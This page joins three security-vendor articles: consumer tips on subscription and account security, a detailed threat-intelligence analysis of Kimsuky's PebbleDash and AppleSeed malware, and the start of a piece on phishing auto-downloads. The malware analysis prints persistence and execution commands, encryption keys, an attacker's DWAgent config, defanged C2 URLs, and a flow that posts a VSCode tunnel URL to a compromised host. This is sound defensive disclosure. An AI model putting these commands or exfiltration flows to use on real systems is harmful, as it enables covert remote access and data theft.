Finally, you can ditch passwords (almost) entirely by switching to passkeys. We’ve previously covered what this password alternative looks like and the specifics of using it. Currently, this is the most breach-resistant authentication system out there. Its main drawback has been the difficulty of syncing passkeys across different ecosystems, like Windows and iOS, but the updated version of Kaspersky Password Manager can now save and sync passkeys across Windows, macOS, iOS, and Android devices, making that issue a thing of the past.

Don’t overlook device security

Even a complex password and 2FA aren’t reasons to let your guard down. An attacker can infect your device with an infostealer: malware designed to swipe things like session cookies from your browser, app configuration files, and other sensitive data. Session cookies allow you to stay signed in without re-entering your credentials every time; however, if scammers get their hands on them, they can sign in to the service as you — even without knowing your username or password. This makes a proactive approach essential, especially if you use Chrome, Edge, Opera, or other Chromium-based browsers on Windows. We recommend installing Kaspersky Premium on all your devices; it includes Kaspersky Password Manager in addition to comprehensive protection against cyberthreats.

Only share subscriptions with people you trust

Otherwise, you might be asking for trouble. For example, if you share a Steam subscription with a friend who cheats, both of your accounts could end up banned. Furthermore, never try to let someone else into your personal account or individual subscription. Sharing your password with others is usually a violation of the terms of service, and can result in your account being blocked.

Make sure there are no strangers in your family group

To do this, periodically check active devices and sessions in your subscription settings. If you see an unrecognized device in the authorized list, terminate that session — or all of them — and change your account password immediately. Signing back in on a few devices is much easier than trying to recover a hijacked account.

And remember: don’t let your own habits compromise your security. If you’re visiting friends, on vacation, or on a business trip and use a local computer or smart TV — or if you sign in to your account from a public computer — don’t forget to sign out when you’re done. Otherwise, the next person to use that device might find themselves with free subscriptions or, even worse, access to your email or cloud photo stream.

Don’t take the bait

Watch out for phishing emails and messages spoofing legitimate services. If you receive a notification about a “need to update your billing details”, or a claim that a “new user has been added” to your family plan, don’t rush to click any links or open attachments. Links can lead to a phishing page, and attachments may hide malware. Scammers often use email addresses and domains that look nearly identical to the real ones — for instance, by swapping l (lowercase L) for I (uppercase i), or using a familiar name in a different domain zone.

Unfortunately, phishing pages are often indistinguishable from the originals now that AI is being used for high-quality design and layout. Since spotting every red flag yourself is increasingly difficult, it’s best to delegate anti-phishing protection to Kaspersky Premium. It will alert you to suspicious sites, saving your money and keeping your peace of mind.

Lastly, some scammers lure users in with freebies like fake gift subscriptions for Telegram Premium. The victim is asked to visit a phishing page mimicking the Telegram login screen and sign in to their account to claim the gift. The result isn’t hard to guess: instead of a premium subscription — a hijacked account. Recently, scammers have even learned to use mini-apps to steal credentials directly inside Telegram under various pretexts — ranging from gift giveaways to claims that you must move to a new chat because the old one was blocked.

Avoid buying subscriptions from third-party sellers

You can often find subscription offers on marketplaces and retail platforms at prices significantly lower than what the official provider charges. More likely than not, that tempting price hides a hacked account or a family group that you could be kicked out of at any moment, because the family admin is either the seller or a random user. Furthermore, sharing a family plan with strangers from around the world is a violation of terms for many services.

How to get rid of unwanted subscriptions

Now that we’ve covered subscription security, what about those extra subscriptions that quietly eat away at your balance every month? Research shows that users typically underestimate how many active subscriptions they have and how much they spend on them; they also frequently forget to cancel auto-renewals for subscriptions they no longer use, or auto-charges after the trial period ends.

If you suspect you’re in that boat, start your investigation with your own bank statements. Recurring charges for the same amount can be a subscription you’ve forgotten about. Check who received the payment; if the name doesn’t ring a bell, do an online search on the company. It’s also worth searching your email box for the merchant name or the payment amount; this can help you track down subscription notifications and figure out what exactly you’re paying for. And don’t forget to check your spam folder, as that’s where subscription alerts often end up.

Now, let’s look at how to check and cancel active subscriptions purchased through the App Store and Google Play.

For Android users

1. Open Settings on your device.
2. Tap Google, then tap your profile picture, and go to Google Account.
3. Go to Wallet & subscriptions.

If you’re the family group manager, you’ll be able to see the purchase history for other family members.

For iOS users

1. Open Settings on your device.
2. Tap your profile picture at the top of the menu.
3. Go to Subscriptions.

Note: to manage your iCloud subscription, you’ll need to go to the specific iCloud section located just below Subscriptions. In the Family Sharing section, if you’re the one who set it up, you can view the subscription and purchase history for all family members.

Read more on subscriptions:

• You’ve been sent a “gift” — a Telegram Premium subscription
• How to share subscriptions without tears
• How to control your subscriptions and save money
• Meet the Trojan subscribers hungry to sign you up

Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.

Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.

Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.

This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.

Executive summary

• Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
• Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
• The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
• For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
• For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
• Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.

Background

First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).

The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.

Timeline of the AppleSeed and PebbleDash malware families

AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.

Initial access

Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.

Here are some recently discovered examples:

JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].

Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.

In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.

Deployed malware

In this section, we describe several malware families recently dropped by the droppers discussed above.

HelloDoor: first Rust-based PebbleDash variant

Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.

HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].

The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.

The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:

Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.

✅ Port is now listening (no accepting)
 ❌ Port is already in use
 🔍 regsvr32.exe detected as parent. Attempting to terminate...

This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.

Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:

• result send fail (grammatically incorrect text)
• server request fail (grammatically incorrect text)
• command execute failed (grammatically incorrect text)
• decrytion failed (typos)
• autorum failed (typos)

It is likely that the flawed comments were added manually before or after AI was used.

httpMalice: latest backdoor variant of PebbleDash

The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:

• (PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
• (PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
• (PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
• (PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
• (AppleSeed cluster) Use of the m= parameter in C2 communication.
• (AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.

Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.

The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].

Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.

The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).

Windows commands used to gather system details

httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:

As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].

The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.

Structure of the ChaCha20-encrypted data blob

After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:

The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.

C2 communication sequence of httpMalice

When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.

The commands supported by httpMalice are as follows:

MemLoad downloads httpTroy

Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).

Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.

Below are the key operations of MemLoad:

1. Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
2. Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
3. Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /rl highest /f is executed. Otherwise, the task is named EdgeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /f is executed.
4. C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
5. Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.

The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].

Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.

AppleSeed

AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.

Updated AppleSeed infection chain

There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.

HappyDoor

HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.

Post-exploitation

We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.

VSCode (launched by the JSE dropper)

Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.

The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.

The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.

Out.txt content

The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.

VSCode (launched by VSCode installer)

While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.

After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.

This is how the installer works:

1. Executes code.exe tunnel.
2. Searches for the “Microsoft Account” string in the stdout.
3. Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
4. Searches for the “use code” string in the stdout.
5. Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
6. Searches for the “What would you like to call this machine?” string in the stdout.
7. Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
8. Searches for the “https://vscode.dev/tunnel/” string in the stdout.
9. Sends the printed URL for tunneling to the Slack WebHook.

The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)

Creating a tunnel using VSCode CLI

Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.

An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.

DWAgent

DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.

We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.

This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:

• c:\programdata\dwagent\native\dwagsvc.exe installService
• c:\programdata\dwagent\native\dwagsvc.exe startService

The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.

The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.

{
 "enabled": true,
 "key": "kDRNGmWGTMpjQmREgQzU",
 "listen_port": 7950,
 "nodes": [
  {
   "id": "ND896147",
   "port": "443",
   "server": "node896147.dwservice[.]net"
  },
  {
   "id": "ND828765",
   "port": "443",
   "server": "node828765.dwservice[.]net"
  },
  {
   "id": "ND484265",
   "port": "443",
   "server": "node484265.dwservice[.]net"
  }
 ],
 "password": "eJwrynEqD0r294twTXLKCHWqDPLPCql0Kg/JDqpIdk4HAKYMCso=",
 "url_primary": "hxxps://www.dwservice[.]net/"
}

Infrastructure

For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.

The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.

Victims

We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.

Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.

[Target's name] [Description] [Infection date] 장악, http 있음, DWService 있음.

While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.

Attribution

Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.

Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.

These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.

Conclusion

Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.

Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.

Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.

Indicators of compromise

File hashes

JSE Dropper
995a0a49ae4b244928b3f67e2bfd7a6e         [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse
52f1ff082e981cbdfd1f045c6021c63f             2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
9fe43e08c8f446554340f972dac8a68c          2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse
8e15c4d4f71bdd9dbc48cd2cabc87806         노현정님.pdf.jse

Reger Dropper
65fc9f06de5603e2c1af9b4f288bb22c                       security_20260126.scr
c19aeaedbbfc4e029f7e9bdface495b9                      secu.scr

Pidoc Dropper
8983ffa6da23e0b99ccc58c17b9788c7                      대국민서비스관리운영체계_현장점검_증적(초안).pif

AppleSeed (Dropper)
a7f0a18ac87e982d6f32f7a715e12532
f4465403f9693939fe9c439f0ab33610
5c373c2116ab4a615e622f577e22e9be

HappyDoor
d1ec20144c83bba921243e72c517da5e

MemLoad
58ac2f65e335922be3f60e57099dc8a3
f73ba062116ea9f37d072aa41c7f5108          jhsakqvv.dat

httpTroy
7e0825019d0de0c1c4a1673f94043ddb        c:\programdata\config.db

httpMalice
08160acf08fccecde7b34090db18b321
94faed9af49c98a89c8acc55e97276c9

HelloDoor
c42ae004badddd3017adadbdd1421e00

VSCode Tunnel installer
9ca5f93a732f404bbb2cee848f5bbda0                      xipbkmaw.exe

DWAgent installer
678fb1a87af525c33ba2492552d5c0e2

Domains and IPs

opedromos1.r-e[.]kr                            C2 of AppleSeed
morames.r-e[.]kr                                 C2 of AppleSeed
load.ssangyongcne.o-r[.]kr                 C2 of MemLoad
load.yju.o-r[.]kr                                   C2 of MemLoad
attach.docucloud.o-r[.]kr                    C2 of MemLoad
load.supershop.o-r[.]kr                       C2 of MemLoad
load.erasecloud.n-e[.]kr                     C2 of MemLoad

cms.spaceyou.o-r[.]kr                         C2 of HappyDoor
erp.spaceme.p-e[.]kr                          C2 of HappyDoor

file.bigcloud.n-e[.]kr                            C2 of httpTroy
load.auraria[.]org                                C2 of httpTroy

female-disorder-beta-metropolitan.trycloudflare[.]com         C2 of HelloDoor
hxxps://www.pyrotech.co[.]kr/common/include/tech/default.php      C2 of httpMalice
hxxp://newjo-imd[.]com/common/include/library/default.php            C2 of httpMalice
hxxps://www.yespp.co[.]kr/common/include/code/out.php               VSCode Tunneling using JScript

Modern phishing campaigns are no longer trying to convince users. They are trying to outrun them. By forcing an automatic progression from click to download, attackers eliminate the moment of hesitation entirely by forcing files to download instantly using trusted cloud platforms like Dropbox and Google Drive.

Detecting when these legitimate SaaS auto-download features are being weaponized is an immense challenge for traditional defenses. This is exactly where Cortex^® Email Security steps in. By combining deep static analysis with advanced behavioral intelligence, the module can distinguish in this attack between a benign file share and a malicious, forced-momentum trigger.

This technical detection is vital because while the autodownload method is the primary cause of infection, its effectiveness relies on a clever strategy, using a wide range of changing social engineering lures. By alternating between lures like 'Invoices' or 'Quotes,' attackers rotate their themes to catch a wider variety of victims. This strategy allows attackers to convert trusted email links into rapid, dangerous file executions that effectively evade standard security measures.

How Forced Momentum Drives Auto-Downloads

The core of this attack leverages the infrastructure of real SaaS providers to eliminate the user's preview buffer. Typically, cloud sharing directs users to a webpage for file examination. In this campaign, however, forced-download parameters (such as ?dl=1 on Dropbox) are used instead. To ensure the victim executes the file once it lands on their machine, attackers hide the danger behind "visual anchors." By using double extensions like PDF and .EXE, the threat actor exploits default settings in certain operating systems that hide known extensions. The user's eyes stop at the familiar ".PDF" or ".ZIP," leading them to believe the file is a harmless document rather than a malicious executable.

When the targeted victim clicks the link in the email, it triggers an immediate file download in the browser, effectively bypassing any intermediary steps.

Attack Flow: From Email to Execution

• The Bait: A highly personalized email arrives, using a trusted cloud link (like Dropbox) to lower the victim's guard.
